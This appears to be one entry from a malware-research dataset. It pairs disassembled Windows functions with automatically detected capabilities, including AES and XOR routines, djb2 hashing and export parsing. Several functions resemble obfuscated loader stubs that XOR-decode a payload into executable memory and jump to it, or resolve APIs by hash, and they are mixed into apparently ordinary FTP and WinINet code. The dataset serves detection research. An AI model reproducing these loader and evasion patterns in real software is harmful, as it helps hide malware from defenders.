joyce8/EMBER2024-capa huggingface dataset:
Function at 0x649c11a4
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x24
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
add eax, dword [ebp + 0x10]
mov dword [ebp - 0x2c], eax
mov eax, 0x10
mov esi, dword [ebp - 0x20]
cmp dword [ebp - 0x2c], esi
je 0x649c1373
cmp eax, 0x10
jne 0x649c1361
mov eax, dword [ebp + 8]
lea edi, [ebp - 0x1c]
mov ecx, 4
lea edx, [ebp - 0x1c]
lea esi, [eax + 0xf0]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
call fcn.649c1028
mov dword [ebp - 0x28], 1
lea edx, [ebp - 0x1c]
lea edi, [ebp - 0x18]
mov ecx, edx
mov byte [ebp - 0x21], 0
mov eax, ecx
movzx esi, byte [eax]
inc byte [ebp - 0x21]
add eax, 4
mov bl, byte [esi + str.cw]
mov byte [eax - 4], bl
cmp byte [ebp - 0x21], 4
jne 0x649c1207
inc ecx
cmp edi, ecx
jne 0x649c1201
mov al, byte [ebp - 0x17]
mov cl, byte [ebp - 0x1b]
cmp dword [ebp - 0x28], 0xe
mov byte [ebp - 0x1b], al
mov al, byte [ebp - 0x13]
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0xf]
mov byte [ebp - 0xf], cl
mov cl, byte [ebp - 0x1a]
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0x12]
mov byte [ebp - 0x12], cl
mov cl, byte [ebp - 0x16]
mov byte [ebp - 0x1a], al
mov al, byte [ebp - 0xe]
mov byte [ebp - 0xe], cl
mov cl, byte [ebp - 0x19]
mov byte [ebp - 0x16], al
mov al, byte [ebp - 0xd]
mov byte [ebp - 0x19], al
mov al, byte [ebp - 0x11]
mov byte [ebp - 0xd], al
mov al, byte [ebp - 0x15]
mov byte [ebp - 0x15], cl
mov byte [ebp - 0x11], al
je 0x649c1321
lea eax, [edx + 0x10]
mov dword [ebp - 0x30], eax
mov al, byte [edx]
mov cl, byte [edx + 1]
mov bl, 0x1b
add edx, 4
xor ecx, eax
mov byte [ebp - 0x21], al
mov al, byte [edx - 2]
xor al, byte [edx - 1]
movzx edi, byte [ebp - 0x21]
mov byte [ebp - 0x22], al
mov esi, eax
mov eax, ecx
shr al, 7
xor esi, ecx
add ecx, ecx
imul eax, ebx
xor edi, esi
xor edi, eax
mov al, byte [edx - 3]
xor al, byte [edx - 2]
xor ecx, edi
mov edi, eax
shr al, 7
imul eax, ebx
mov byte [edx - 4], cl
mov ecx, esi
xor cl, byte [edx - 3]
add edi, edi
xor ecx, eax
mov al, byte [ebp - 0x22]
xor ecx, edi
movzx edi, byte [edx - 1]
shr al, 7
mov byte [edx - 3], cl
mov ecx, esi
xor cl, byte [edx - 2]
imul eax, ebx
xor esi, edi
xor ecx, eax
mov al, byte [ebp - 0x22]
add eax, eax
xor eax, ecx
mov cl, byte [ebp - 0x21]
xor cl, byte [edx - 1]
mov byte [edx - 2], al
mov eax, ecx
add ecx, ecx
shr al, 7
imul eax, ebx
xor esi, eax
xor ecx, esi
mov byte [edx - 1], cl
cmp dword [ebp - 0x30], edx
jne 0x649c127c
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x28]
lea edx, [ebp - 0x1c]
call fcn.649c1028
inc dword [ebp - 0x28]
jmp 0x649c11f9
mov ecx, dword [ebp + 8]
mov eax, 0xe
lea edx, [ebp - 0x1c]
call fcn.649c1028
mov eax, 0xf
mov edi, dword [ebp + 8]
mov dl, byte [edi + eax + 0xf0]
cmp dl, 0xff
jne 0x649c1354
mov byte [edi + eax + 0xf0], 0
sub eax, 1
jae 0x649c1336
jmp 0x649c135f
mov edi, dword [ebp + 8]
inc edx
mov byte [edi + eax + 0xf0], dl
xor eax, eax
mov ebx, dword [ebp - 0x20]
mov dl, byte [ebp + eax - 0x1c]
inc eax
inc dword [ebp - 0x20]
xor byte [ebx], dl
jmp 0x649c11be
add esp, 0x24
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x649ca670
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x3c
mov ebx, dword [ebp + 8]
mov dword [esp + 4], ebx
mov eax, dword [ebx + 0x3c]
mov eax, dword [ebx + eax + 0x78]
mov dword [esp], eax
call fcn.649d0cf8
mov dword [esp + 4], ebx
lea esi, [ebx + eax]
mov eax, dword [esi + 0x20]
mov dword [esp], eax
call fcn.649d0cf8
mov dword [esp + 4], ebx
add eax, ebx
mov dword [ebp - 0x1c], eax
mov eax, dword [esi + 0x24]
mov dword [esp], eax
call fcn.649d0cf8
add eax, ebx
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 0x18]
mov dword [ebp - 0x24], eax
lea eax, [edi + edi]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x24], edi
je 0x649ca734
mov eax, dword [ebp - 0x1c]
mov dword [esp + 4], ebx
mov eax, dword [eax + edi*4]
mov dword [esp], eax
call fcn.649d0cf8
lea ecx, [ebx + eax]
mov dword [esp], ecx
mov dword [ebp - 0x2c], ecx
call fcn.649cabfc
mov ecx, dword [ebp - 0x2c]
cmp eax, 0xa6caa1c5
jne 0x649ca722
mov dword [esp + 4], ebx
mov eax, dword [esi + 0x1c]
mov dword [esp], eax
call fcn.649d0cf8
mov edx, dword [ebp - 0x28]
mov dword [esp + 4], ebx
add eax, ebx
movzx edx, word [edx]
mov eax, dword [eax + edx*4]
mov dword [esp], eax
call fcn.649d0cf8
jmp 0x649ca736
mov dword [esp], ecx
inc edi
call fcn.649cabfc
cmp eax, 0xffe885ef
jne 0x649ca6c2
jmp 0x649ca6fa
xor eax, eax
add esp, 0x3c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x649ca780
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov eax, dword [0x649d57c2]
xor edx, edx
test eax, eax
je 0x649ca837
mov edx, dword [0x649d5778]
test edx, edx
jne 0x649ca837
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x14
mov ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], 0
mov esi, dword [eax + ecx + 0x78]
add esi, eax
mov edi, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
mov ebx, dword [esi + 0x24]
add edi, eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], edi
mov edi, dword [esi + 0x20]
add ebx, eax
mov dword [ebp - 0x1c], ebx
xor ebx, ebx
add edi, eax
mov dword [ebp - 0x20], edi
mov edi, dword [ebp - 0x10]
cmp dword [ebp - 0x18], edi
je 0x649ca827
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov esi, dword [edi + ecx*4]
cmp word [eax + esi], 0x775a
jne 0x649ca822
mov edi, dword [ebp - 0x1c]
test ebx, ebx
movzx esi, word [edi + ecx*2]
jne 0x649ca804
mov edi, dword [ebp - 0x14]
mov ebx, dword [edi + esi*4]
add ebx, eax
jmp 0x649ca822
mov ecx, dword [ebp - 0x14]
mov edi, dword [ecx + esi*4]
add edi, eax
mov esi, edi
sub esi, ebx
cmp ebx, edi
jbe 0x649ca818
mov esi, ebx
sub esi, edi
test edx, edx
je 0x649ca820
cmp edx, esi
jbe 0x649ca822
mov edx, esi
inc dword [ebp - 0x10]
jmp 0x649ca7d6
mov dword [0x649d5778], edx
add esp, 0x14
mov eax, edx
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, edx
ret
Function at 0x649caba8
Capabilities:
Hash data using djb2

Disassembly:
push ebp
xor eax, eax
mov ebp, esp
push edi
push esi
mov esi, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x649cabf4
mov ecx, ebx
mov eax, 0x1505
mov dl, byte [ecx]
test esi, esi
jne 0x649cabcd
test dl, dl
jne 0x649cabdb
jmp 0x649cabf4
mov edi, ecx
sub edi, ebx
cmp esi, edi
jbe 0x649cabf4
cmp dl, 1
adc ecx, 0
cmp dl, 0x60
jbe 0x649cabe9
cmp dword [ebp + 0x10], 0
je 0x649cabe9
sub edx, 0x20
imul eax, eax, 0x21
movzx edx, dl
inc ecx
add eax, edx
jmp 0x649cabc1
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x649cabfc
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov eax, 0x1505
mov ebp, esp
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
inc ecx
test dl, dl
je 0x649cac16
imul eax, eax, 0x21
add eax, edx
jmp 0x649cac07
pop ebp
ret

Function at 0x649cc43c
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
xor esi, esi
push ebx
push edx
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
mov cl, byte [edx + esi*4]
mov byte [eax + esi*4], cl
mov cl, byte [edx + esi*4 + 1]
mov byte [eax + esi*4 + 1], cl
mov cl, byte [edx + esi*4 + 2]
mov byte [eax + esi*4 + 2], cl
mov cl, byte [edx + esi*4 + 3]
mov byte [eax + esi*4 + 3], cl
inc esi
cmp esi, 8
jne 0x649cc44b
mov dl, byte [eax + 0x1e]
mov edi, esi
movzx ebx, byte [eax + 0x1c]
movzx ecx, byte [eax + 0x1d]
mov byte [ebp - 0xd], dl
mov dl, byte [eax + 0x1f]
mov byte [ebp - 0xe], dl
and edi, 7
jne 0x649cc4c2
movzx edx, byte [ebp - 0xd]
movzx edi, byte [ecx + str.cw]
mov bl, byte [ebx + str.cw]
mov cl, byte [edx + str.cw]
movzx edx, byte [ebp - 0xe]
mov byte [ebp - 0xe], bl
mov ebx, esi
mov dl, byte [edx + str.cw]
shr ebx, 3
mov byte [ebp - 0xd], dl
mov edx, edi
xor dl, byte [ebx + 0x649d6298]
mov ebx, edx
jmp 0x649cc4ed
cmp edi, 4
jne 0x649cc4ed
movzx edx, byte [ebp - 0xd]
movzx edi, byte [ebp - 0xe]
mov bl, byte [ebx + str.cw]
mov cl, byte [ecx + str.cw]
mov dl, byte [edx + str.cw]
mov byte [ebp - 0xd], dl
mov dl, byte [edi + str.cw]
mov byte [ebp - 0xe], dl
mov dl, byte [ebp - 0xd]
xor dl, byte [eax + 2]
inc esi
add eax, 4
xor bl, byte [eax - 4]
xor cl, byte [eax - 3]
mov byte [eax + 0x1e], dl
mov dl, byte [ebp - 0xe]
xor dl, byte [eax - 1]
mov byte [eax + 0x1c], bl
mov byte [eax + 0x1d], cl
mov byte [eax + 0x1f], dl
cmp esi, 0x3c
jne 0x649cc46f
pop eax
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x649cc934
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x4c
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ebx, ebx
je 0x649cc95f
cmp dword [ebp + 0xc], 0
jne 0x649cc966
xor eax, eax
jmp 0x649cca3e
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, ebx
mov edx, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
add edx, ebx
mov dword [ebp - 0x2c], eax
mov eax, dword [edx + 0x1c]
mov ecx, dword [edx + 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [edx + 0x24]
mov dword [ebp - 0x34], eax
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
je 0x649cc95f
lea eax, [ebx + ecx]
mov dword [ebp - 0x40], edx
mov edi, dword [eax + esi*4]
mov dword [esp + 8], 1
mov dword [esp + 4], 0
add edi, ebx
mov dword [ebp - 0x3c], ecx
mov dword [esp], edi
call fcn.649caba8
cmp eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x40]
jne 0x649cca38
mov eax, dword [ebp - 0x34]
add esi, esi
add esi, ebx
movzx eax, word [esi + eax]
mov esi, dword [ebp - 0x30]
lea eax, [ebx + eax*4]
mov ecx, dword [eax + esi]
add ecx, ebx
mov dword [ebp - 0x24], ecx
cmp ecx, edx
jae 0x649cc9e5
mov eax, dword [ebp - 0x24]
jmp 0x649cca3e
mov eax, dword [ebp - 0x2c]
add eax, ebx
add eax, edx
cmp ecx, eax
jae 0x649cc9e0
mov dword [esp], edi
call fcn.649d1820
mov dword [ebp - 0x1c], edi
mov word [ebp - 0x20], ax
inc eax
mov word [ebp - 0x1e], ax
mov eax, dword [0x649d5418]
test eax, eax
je 0x649cc95f
lea edx, [ebp - 0x24]
mov dword [esp + 8], 0
mov dword [esp + 0xc], edx
lea edx, [ebp - 0x20]
mov dword [esp + 4], edx
mov dword [esp], ebx
call eax
sub esp, 0x10
test eax, eax
jns 0x649cc9e0
jmp 0x649cc95f
inc esi
jmp 0x649cc98d
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x649d0cf8
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push esi
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
push ebx
add ecx, dword [ecx + 0x3c]
movzx eax, word [ecx + 0x14]
lea eax, [ecx + eax + 0x18]
cmp dword [eax + 0x14], edx
ja 0x649d0d3e
movzx ecx, word [ecx + 6]
imul ecx, ecx, 0x28
add ecx, eax
cmp eax, ecx
je 0x649d0d3c
mov ebx, dword [eax + 0xc]
cmp edx, ebx
jb 0x649d0d37
mov esi, dword [eax + 0x10]
add esi, ebx
cmp esi, edx
jbe 0x649d0d37
add edx, dword [eax + 0x14]
sub edx, ebx
jmp 0x649d0d3e
add eax, 0x28
jmp 0x649d0d1c
xor edx, edx
pop ebx
mov eax, edx
pop esi
pop ebp
ret
Function at 0x1001a410
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1001a41f
pop dword [ebp - 0x18]
mov eax, 0x51f045dd
sub eax, 0x41eea1be
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xd962f109
add dword [ebp - 0x28], 0x74ef5442
mov dword [ebp - 0x24], 0xede993c8
add dword [ebp - 0x24], 0x4449b87d
mov dword [ebp - 0x20], 0xd3dc06d5
add dword [ebp - 0x20], 0x78703d59
mov dword [ebp - 0x1c], 0x5df3992d
sub dword [ebp - 0x1c], 0x5df3992d
lea eax, [ebp - 0x28]
push eax
mov eax, 0xfc11a882
add eax, 0x13f1e872
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xc7f0ffc1
add dword [ebp - 0x28], 0xac816995
mov dword [ebp - 0x24], 0xa2286488
add dword [ebp - 0x24], 0x9f43fced
mov dword [ebp - 0x20], 0x828cf604
sub dword [ebp - 0x20], 0x1f1d8998
mov dword [ebp - 0x1c], 0x92fb70ed
sub dword [ebp - 0x1c], 0x92fb70ed
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x4d6094c2
sub eax, 0x3d5d03ca
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x41394
push 0
call eax
mov ecx, 0x479d
mov ebx, eax
mov esi, 0x3b43cd7a
sub esi, 0x2b3ebb7a
add esi, dword [ebp - 0x18]
mov edi, 0x4e6a3b16
add edi, 0xc1a19015
xor dword [ebp - 0xc], 0x38d09de
mov edx, dword [esi]
xor dword [ebp - 0x14], 0x39c4d00
xor edx, edi
add dword [ebp - 4], esi
mov dword [ebx], edx
add dword [ebp - 0xc], 0x11ecacb0
add ebx, 4
add esi, 0xc905ddcc
add esi, 0x36fa2238
loop 0x1001a53b
add eax, 0x11147
mov ebx, eax
add eax, 0xe8d1a15f
sub eax, 0xe8d1a15a
mov ecx, 0x582ee255
sub ecx, 0x482ee255
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x10030836
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10047018]
jne 0x10030840
repz ret
jmp fcn.10030e15
Function at 0x1002deab
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1009e9af
mov eax, dword fs:[0]
push eax
push esi
mov eax, dword [0x100eed78]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
and dword [ebp - 4], 0
push 0
mov dword [esi], vtable.FtpSession.0
call fcn.10054f27
lea ecx, [esi + 0x64]
call fcn.10054f27
lea ecx, [esi + 0x30]
call fcn.10002a67
mov ecx, esi
mov dword [esi], vtable.InetFtpAsyncObj.0
call fcn.10054f27
test byte [ebp + 8], 1
je 0x1002df0b
push esi
call fcn.10054f27
pop ecx
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
leave
ret 4
Function at 0x100303c8
Capabilities:
Send data

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
xor edx, edx
push esi
mov esi, ecx
mov ecx, dword [ebp + 0xc]
push edi
mov dword [ebx], edx
test ecx, ecx
je 0x10030405
mov eax, dword [esi + 4]
cmp eax, 4
je 0x100303eb
cmp eax, 5
jne 0x10030405
cmp dword [esi + 0x98], edx
jne 0x10030419
sub eax, 4
je 0x1003040e
sub eax, 1
jne 0x10030405
mov eax, dword [esi + 0x78]
mov dword [ebx], eax
mov dword [esi + 0x78], edx
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
mov eax, dword [ebp + 8]
mov dword [esi + 0x9c], eax
jmp 0x10030405
mov cl, byte [esi + 0x7c]
test cl, cl
je 0x10030405
cmp eax, 5
jne 0x10030405
lea edi, [esi + 0xa0]
cmp dword [edi], edx
jne 0x1003048d
push dword [esi + 0x64]
push str.call_InternetWriteFile_0x_08x__n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0x10
lea ecx, [esi + 0x34]
mov eax, dword [ecx]
push edx
call dword [eax + 0x24]
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x64]
call dword [sym.imp.WININET.dll_InternetWriteFile]
mov byte [esi + 0x7c], al
test al, al
je 0x1003047a
push dword [esi + 0x64]
push str.InternetWriteFile_0x_08x__completed_synchronously_n
push 7
push 0xc
call fcn.1001ef2c
mov al, byte [esi + 0x7c]
add esp, 0x10
xor edx, edx
mov cl, al
test al, al
je 0x1003048d
cmp dword [edi], edx
jne 0x1003048d
mov ecx, dword [ebp + 0xc]
mov dword [edi], ecx
mov cl, al
test cl, cl
je 0x100304ac
mov eax, dword [edi]
mov dword [ebx], eax
mov eax, dword [edi]
sub dword [esi + 0x78], eax
mov dword [edi], edx
je 0x100304ac
mov ecx, dword [esi + 0x48]
push edx
mov eax, dword [ecx]
call dword [eax + 0x34]
jmp 0x10030405
movsx eax, byte [esi + 0x7c]
push ecx
push edx
push eax
lea ecx, [esi + 0x34]
call fcn.10054f27
jmp 0x10030407
Function at 0x100304c0
Capabilities:
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov edx, dword [ebp + 8]
lea edi, [esi + 0x60]
mov dword [edx], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [edi]
mov dword [eax], ecx
cmp dword [esi + 4], 8
je 0x100304eb
cmp dword [esi + 4], 7
jne 0x10030509
xor ebx, ebx
test ecx, ecx
je 0x10030510
mov ecx, dword [esi + 0x48]
mov dword [esi + 0xa4], ebx
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
xor eax, eax
jmp 0x100305be
cmp dword [esi + 0xa4], ebx
jne 0x10030509
push dword [esi + 0x64]
push str.call_InternetReadFile_0x_08x__n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0x10
lea ecx, [esi + 0x34]
mov eax, dword [ecx]
push ebx
call dword [eax + 0x24]
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x2c]
push edi
push 0x1000
push eax
push dword [esi + 0x64]
call dword [sym.imp.WININET.dll_InternetReadFile]
push dword [esi + 0x64]
test eax, eax
je 0x10030599
push dword [edi]
push str.received__d_bytes_from_0x_08x_n
push 7
push 0xc
call fcn.1001ef2c
mov ecx, dword [edi]
add esp, 0x14
test ecx, ecx
jne 0x10030574
mov dword [esi + 4], 9
mov eax, dword [ebp + 0xc]
mov dword [eax], ecx
mov ecx, dword [esi + 0x48]
mov dword [edi], ebx
mov eax, dword [ecx]
call dword [eax + 0x2c]
mov ecx, dword [ebp + 0xc]
push ebx
mov ecx, dword [ecx]
mov byte [eax + ecx], bl
mov ecx, dword [esi + 0x48]
mov eax, dword [ecx]
call dword [eax + 0x34]
jmp 0x10030509
push str.InternetReadFile_on_0x_08x_returned_FALSE_n
push 7
push 0xc
call fcn.1001ef2c
add esp, 0xc
mov dword [esi + 0xa4], 1
lea ecx, [esi + 0x34]
push ebx
push ebx
call fcn.10054f27
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x10054f27
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10054f36
pop dword [ebp - 0x50]
mov eax, 0x5d61cb61
add eax, 0xb2a383d5
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x1db40396
sub dword [ebp - 0x60], 0xcf61be4b
mov dword [ebp - 0x5c], 0xf4a544e3
sub dword [ebp - 0x5c], 0xc271f89e
mov dword [ebp - 0x58], 0x9411801a
add dword [ebp - 0x58], 0xb83ac414
mov dword [ebp - 0x54], 0xf65df636
sub dword [ebp - 0x54], 0xf65df636
lea eax, [ebp - 0x60]
push eax
mov eax, 0x4e265398
add eax, 0xc1e49cc0
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xe6970127
add dword [ebp - 0x60], 0x8ddb682f
mov dword [ebp - 0x5c], 0x3d541ed1
add dword [ebp - 0x5c], 0x41842a4
mov dword [ebp - 0x58], 0xbe0c925b
sub dword [ebp - 0x58], 0x5a9d25ef
mov dword [ebp - 0x54], 0xf0cd247d
add dword [ebp - 0x54], 0xf32db83
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xda445f9f
sub eax, 0xca396f07
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x4d625
push 0
call eax
mov ecx, 0x566c
mov edi, eax
mov esi, 0xe9a48031
sub esi, 0xd9920231
add esi, dword [ebp - 0x50]
mov ebx, 0xa8b0723
sub ebx, 0x9b2820bb
add dword [ebp - 4], 0x36efd70b
mov edx, dword [esi]
xor edx, ebx
xor dword [ebp - 0x1c], edi
mov dword [edi], edx
add dword [ebp - 0xc], edi
add edi, 0x93697337
add edi, 0x6c968ccd
add esi, 4
loop 0x10055052
add eax, 0x858f48f3
add eax, 0x7a720390
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x1006dab8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x424
mov eax, 0x100a91de
call fcn.1009cc92
mov eax, dword [ebp + 0xc]
xor ebx, ebx
mov edi, dword [ebp + 8]
mov dword [ebp - 0x424], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x428], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test edi, edi
je 0x1006dcca
mov edx, edi
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
cmp ax, bx
jne 0x1006db0a
sub edx, ecx
sar edx, 1
inc edx
push ecx
lea ecx, [ebp - 0x41c]
mov dword [ebp - 0x41c], edx
call fcn.1006c7b5
test eax, eax
js 0x1006dcca
mov esi, dword [ebp - 0x41c]
cmp esi, 0x400
jg 0x1006db5b
mov ecx, esi
call fcn.1006c818
test al, al
je 0x1006db5b
mov eax, esi
call fcn.1009cd15
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x1006db67
push esi
lea ecx, [ebp - 0x428]
call fcn.10054f27
push 3
push esi
mov edx, edi
mov ecx, eax
call fcn.10054f27
mov edi, eax
test edi, edi
je 0x1006dcc4
push 0x60
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], esi
test esi, esi
jne 0x1006dbb5
push 2
push ebx
push edi
call dword [sym.imp.kernel32.dll_LoadLibraryExA]
mov esi, eax
mov dword [ebp - 0x41c], eax
test esi, esi
jne 0x1006dbb5
call fcn.1006c19a
mov edi, eax
jmp 0x1006dca9
push dword [ebp - 0x420]
push dword [ebp - 0x424]
push esi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x1006dbd8
call fcn.1006c19a
jmp 0x1006dc9c
push edi
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x420], eax
test eax, eax
je 0x1006dbce
push edi
push esi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov edi, eax
mov dword [ebp - 0x424], edi
lea ecx, [edi + 1]
cmp ecx, edi
jae 0x1006dc0b
mov edi, 0x8007000e
jmp 0x1006dc9e
mov byte [ebp - 4], 2
call fcn.1006c8c7
cmp eax, 0x400
jbe 0x1006dc29
push eax
lea ecx, [ebp - 0x418]
call fcn.10054f27
jmp 0x1006dc35
lea eax, [ebp - 0x414]
mov dword [ebp - 0x418], eax
mov dword [ebp - 4], 1
jmp 0x1006dc59
cmp dword [ebp - 0x418], 0
je 0x1006dc01
mov ecx, dword [ebp - 0x418]
mov edx, edi
push edi
push dword [ebp - 0x420]
call fcn.10054f27
pop ecx
pop ecx
mov ecx, eax
call fcn.1006cdee
mov eax, dword [ebp - 0x418]
lea ecx, [ebp - 0x430]
push dword [ebp + 0x14]
mov byte [eax + edi], bl
push dword [ebp - 0x418]
call fcn.10054f27
mov edi, eax
test esi, esi
je 0x1006dca9
push esi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x1006dce4
lea ecx, [ebp - 0x418]
call fcn.1006c188
jmp 0x1006dce4
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x1006dcdf
lea ecx, [ebp - 0x418]
call fcn.1006c188
mov edi, 0x8007000e
lea ecx, [ebp - 0x428]
call fcn.1006c79b
mov eax, edi
lea esp, [ebp - 0x440]
call fcn.1009cbe3
ret 0x10
Function at 0x1006f8c5
Capabilities:
Generate random numbers via winapi

Disassembly:
push 0x230
mov eax, 0x100a94b9
call fcn.1009cc24
mov dword [ebp - 0x234], edx
mov ebx, ecx
push ebx
lea ecx, [ebp - 0x238]
call dword [sym.imp.fpsrvutl.dll_Ordinal_5241]
xor esi, esi
mov dword [ebp - 4], esi
mov eax, dword [0x100f55b0]
add eax, 0xe8
mov dword [ebp - 0x23c], eax
mov edi, dword [eax]
test edi, edi
jne 0x1006f924
push 0xf0000040
push 1
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov edi, dword [ebp - 0x23c]
mov edi, dword [edi]
test edi, edi
je 0x1006fa2c
lea eax, [ebp - 0x230]
push eax
push 0x18
push edi
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x1006fa2c
mov eax, dword [ebp - 0x21c]
xor edx, edx
push 0x24
pop ecx
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x220]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x224]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x228]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x22c]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
xor edx, edx
push eax
mov eax, dword [ebp - 0x230]
div ecx
movzx eax, word [edx*2 + str.abcdefghijklmnopqrstuvwxyz0123456789]
push eax
push dword [ebp - 0x238]
lea eax, [ebp - 0x218]
push str._wswe_c_c_c_c_c_c.tmp
push 0xffffffffffffffff
push eax
call fcn.10054f27
add esp, 0x28
lea eax, [ebp - 0x218]
cmp byte [ebp + 8], 0
je 0x1006fa1d
push esi
push 0x80
push 1
push esi
push esi
push 0x40000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x1006fa10
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xb7
je 0x1006f924
cmp eax, 0x50
je 0x1006f924
jmp 0x1006fa32
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
lea eax, [ebp - 0x218]
mov ecx, dword [ebp - 0x234]
push eax
call dword [sym.imp.fpsrvutl.dll_Ordinal_5525]
jmp 0x1006fa41
call dword [sym.imp.kernel32.dll_GetLastError]
push ebx
mov edx, eax
mov ecx, 0x20002
call fcn.10020b05
mov esi, eax
lea ecx, [ebp - 0x238]
